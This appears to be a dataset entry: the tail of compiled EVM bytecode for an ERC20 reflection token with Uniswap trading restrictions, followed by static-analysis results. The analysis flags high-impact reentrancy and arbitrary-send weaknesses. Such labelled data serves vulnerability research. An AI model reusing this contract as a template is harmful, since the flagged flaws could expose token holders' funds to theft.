13bb1565b6131e09190613b80565b90506000606486896131f29190613bb1565b6131fc9190613b80565b9050600081838a61320d9190613c0b565b6132179190613c0b565b905080838395509550955050505093509350939050565b60008060008084886132409190613bb1565b9050600085886132509190613bb1565b9050600086886132609190613bb1565b905060008183856132719190613c0b565b61327b9190613c0b565b9050838184965096509650505050509450945094915050565b60006132a76132a284613aa9565b613a84565b905080838252602082019050828560208602820111156132ca576132c9613e59565b5b60005b858110156132fa57816132e08882613304565b8452602084019350602083019250506001810190506132cd565b5050509392505050565b6000813590506133138161407f565b92915050565b6000815190506133288161407f565b92915050565b600082601f83011261334357613342613e54565b5b8135613353848260208601613294565b91505092915050565b60008151905061336b81614096565b92915050565b600081359050613380816140ad565b92915050565b600081519050613395816140ad565b92915050565b6000602082840312156133b1576133b0613e63565b5b60006133bf84828501613304565b91505092915050565b6000602082840312156133de576133dd613e63565b5b60006133ec84828501613319565b91505092915050565b6000806040838503121561340c5761340b613e63565b5b600061341a85828601613304565b925050602061342b85828601613304565b9150509250929050565b60008060006060848603121561344e5761344d613e63565b5b600061345c86828701613304565b935050602061346d86828701613304565b925050604061347e86828701613371565b9150509250925092565b6000806040838503121561349f5761349e613e63565b5b60006134ad85828601613304565b92505060206134be85828601613371565b9150509250929050565b6000602082840312156134de576134dd613e63565b5b600082013567ffffffffffffffff8111156134fc576134fb613e5e565b5b6135088482850161332e565b91505092915050565b60006020828403121561352757613526613e63565b5b60006135358482850161335c565b91505092915050565b60008060006060848603121561355757613556613e63565b5b600061356586828701613386565b935050602061357686828701613386565b925050604061358786828701613386565b9150509250925092565b600061359d83836135a9565b60208301905092915050565b6135b281613c3f565b82525050565b6135c181613c3f565b82525050565b60006135d282613ae5565b6135dc8185613b08565b93506135e783613ad5565b8060005b838110156136185781516135ff8882613591565b975061360a83613afb565b9250506001810190506135eb565b5085935050505092915050565b61362e81613c51565b82525050565b61363d81613ca8565b82525050565b600061364e82613af0565b6136588185613b19565b9350613668818560208601613cba565b61367181613e68565b840191505092915050565b6000613689602a83613b19565b915061369482613e79565b604082019050919050565b60006136ac602283613b19565b91506136b782613ec8565b604082019050919050565b60006136cf602083613b19565b91506136da82613f17565b602082019050919050565b60006136f2602983613b19565b91506136fd82613f40565b604082019050919050565b6000613715602583613b19565b915061372082613f8f565b604082019050919050565b6000613738602483613b19565b915061374382613fde565b604082019050919050565b600061375b601783613b19565b91506137668261402d565b602082019050919050565b600061377e601183613b19565b915061378982614056565b602082019050919050565b61379d81613c7d565b82525050565b6137ac81613c9b565b82525050565b60006020820190506137c760008301846135b8565b92915050565b60006040820190506137e260008301856135b8565b6137ef60208301846135b8565b9392505050565b600060408201905061380b60008301856135b8565b6138186020830184613794565b9392505050565b600060c08201905061383460008301896135b8565b6138416020830188613794565b61384e6040830187613634565b61385b6060830186613634565b61386860808301856135b8565b61387560a0830184613794565b979650505050505050565b60006020820190506138956000830184613625565b92915050565b600060208201905081810360008301526138b58184613643565b905092915050565b600060208201905081810360008301526138d68161367c565b9050919050565b600060208201905081810360008301526138f68161369f565b9050919050565b60006020820190508181036000830152613916816136c2565b9050919050565b60006020820190508181036000830152613936816136e5565b9050919050565b6000602082019050818103600083015261395681613708565b9050919050565b600060208201905081810360008301526139768161372b565b9050919050565b600060208201905081810360008301526139968161374e565b9050919050565b600060208201905081810360008301526139b681613771565b9050919050565b60006020820190506139d26000830184613794565b92915050565b600060a0820190506139ed6000830188613794565b6139fa6020830187613634565b8181036040830152613a0c81866135c7565b9050613a1b60608301856135b8565b613a286080830184613794565b9695505050505050565b6000606082019050613a476000830186613794565b613a546020830185613794565b613a616040830184613794565b949350505050565b6000602082019050613a7e60008301846137a3565b92915050565b6000613a8e613a9f565b9050613a9a8282613ced565b919050565b6000604051905090565b600067ffffffffffffffff821115613ac457613ac3613e25565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613b3582613c7d565b9150613b4083613c7d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b7557613b74613d98565b5b828201905092915050565b6000613b8b82613c7d565b9150613b9683613c7d565b925082613ba657613ba5613dc7565b5b828204905092915050565b6000613bbc82613c7d565b9150613bc783613c7d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c0057613bff613d98565b5b828202905092915050565b6000613c1682613c7d565b9150613c2183613c7d565b925082821015613c3457613c33613d98565b5b828203905092915050565b6000613c4a82613c5d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613cb382613c7d565b9050919050565b60005b83811015613cd8578082015181840152602081019050613cbd565b83811115613ce7576000848401525b50505050565b613cf682613e68565b810181811067ffffffffffffffff82111715613d1557613d14613e25565b5b80604052505050565b6000613d2982613c7d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d5c57613d5b613d98565b5b600182019050919050565b6000613d7282613c87565b915067ffffffffffffffff821415613d8d57613d8c613d98565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61408881613c3f565b811461409357600080fd5b50565b61409f81613c51565b81146140aa57600080fd5b50565b6140b681613c7d565b81146140c157600080fd5b5056fea264697066735822122061934dc2919bb50afa7849e3f1b4d05d7b99ef72e5a7d02eb8db420d6527ec0064736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,599